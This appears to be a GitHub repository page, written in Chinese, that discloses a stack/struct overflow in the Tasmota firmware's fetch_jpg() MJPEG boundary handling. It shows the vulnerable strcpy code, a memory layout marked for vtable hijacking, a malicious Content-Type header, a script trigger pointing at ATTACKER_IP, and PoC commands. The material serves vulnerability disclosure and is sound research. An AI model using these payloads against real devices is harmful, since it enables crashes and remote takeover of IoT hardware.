sermikr0/CVE-2026-38426

GitHub: sermikr0/CVE-2026-38426

该项目复现并分析了 Tasmota 固件 fetch_jpg() 函数中 boundary 缓冲区溢出漏洞(CVE-2026-38426),提供了完整的 PoC 脚本和内存布局分析。

Stars: 0 | Forks: 0

# CVE-2026-38426:Tasmota fetch_jpg() 中 boundary[40] 的 strcpy() 栈缓冲区溢出 **CVE:** CVE-2026-38426 **严重程度:** 严重 (CVSS 9.8) **产品:** Arendst Tasmota **受影响版本:** <= 15.3.0.3 **文件:** `tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino` **函数:** `fetch_jpg()` — case 0 (初始连接) **作者:** Saidakbarxon Maxsudxonov **披露:** 负责任的 — 发布前已报告给 Tasmota ## 摘要 Tasmota 的脚本驱动程序的 `fetch_jpg()` 函数中存在一个经典的 `strcpy()` 缓冲区溢出漏洞。从 HTTP `Content-Type` 响应头中提取的 MJPEG boundary 字符串在没有任何长度验证的情况下被复制到一个 40 字节的固定缓冲区 (`boundary[40]`) 中。控制 MJPEG HTTP 服务器的攻击者可以提供一个超过 39 个字符的 boundary 字符串,使缓冲区溢出并破坏相邻的堆内存——从而有可能在 ESP32 上实现远程代码执行。 ## 漏洞代码 ``` // tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino struct JPG_TASK { char boundary[40]; // ← FIXED SIZE — only 40 bytes! bool draw; uint8_t scale; uint16_t xp; uint16_t yp; WiFiClient stream; // contains vtable pointer HTTPClient http; // contains vtable pointer } jpg_task; // Case 0: initial connection String boundary = http.header("Content-Type"); // Server sends: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 chars) char *cp = strchr(boundary.c_str(), '='); if (cp) { strcpy(glob_script_mem.jpg_task.boundary, cp + 1); // NO LENGTH CHECK — OVERFLOW! } ``` ## 堆内存布局 (ESP32) ``` struct JPG_TASK layout: +0x00 boundary[40] ← overflow starts here +0x28 draw (bool) ← corrupted +0x29 scale (uint8_t) ← corrupted +0x2A xp (uint16_t) ← corrupted +0x2C yp (uint16_t) ← corrupted +0x2E WiFiClient ← vtable ptr overwritten → RCE +0x7E HTTPClient ← vtable ptr overwritten → RCE ``` 使用攻击者控制的值覆盖 `WiFiClient` 或 `HTTPClient` 的 vtable 指针,在随后调用任何虚方法 (`read()`, `write()`, `connect()`) 时将触发 RCE。 ## 攻击场景 攻击者运行一个 HTTP 服务器,Tasmota 通过 `fetchjp()` 连接到该服务器。服务器响应一个 `Content-Type` 头,其中包含长度超过 39 个字符的 boundary 字符串: ``` HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ``` Tasmota 的 `strcpy()` 将 50 多个字节复制到 40 字节的 `boundary` 缓冲区中,溢出并覆盖了相邻的 struct 字段。 **通过 Tasmota 脚本触发:** ``` >D >B fetchjp(ATTACKER_IP:PORT/stream,0,0,1) ``` ## 概念验证 ``` python3 CVE-2026-38426_poc.py --port 8888 --mode crash python3 CVE-2026-38426_poc.py --port 8888 --mode info ``` 完整实现请参见 [CVE-2026-38426_poc.py](CVE-2026-38426_poc.py)。 ## 影响 - **机密性:** 高 (通过 ESP32 上的 vtable 劫持实现 RCE) - **完整性:** 高 - **可用性:** 高 (必定崩溃) - **攻击向量:** 网络 - **身份验证:** 无需 ## 时间线 - **2026-03-29:** 发现漏洞并报告给 MITRE - **2026-03-29:** 分配了 CVE-2026-38426 - **2026-05-xx:** Tasmota 发布补丁 (v15.3.0.4+) ## 参考 - [Tasmota GitHub](https://github.com/arendst/Tasmota) - [xdrv_10_scripter.ino](https://github.com/arendst/Tasmota/blob/development/tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino) - CVE-2026-38426
标签:ESP32, Go语言工具, IoT安全, Tasmota, 缓冲区溢出, 逆向工具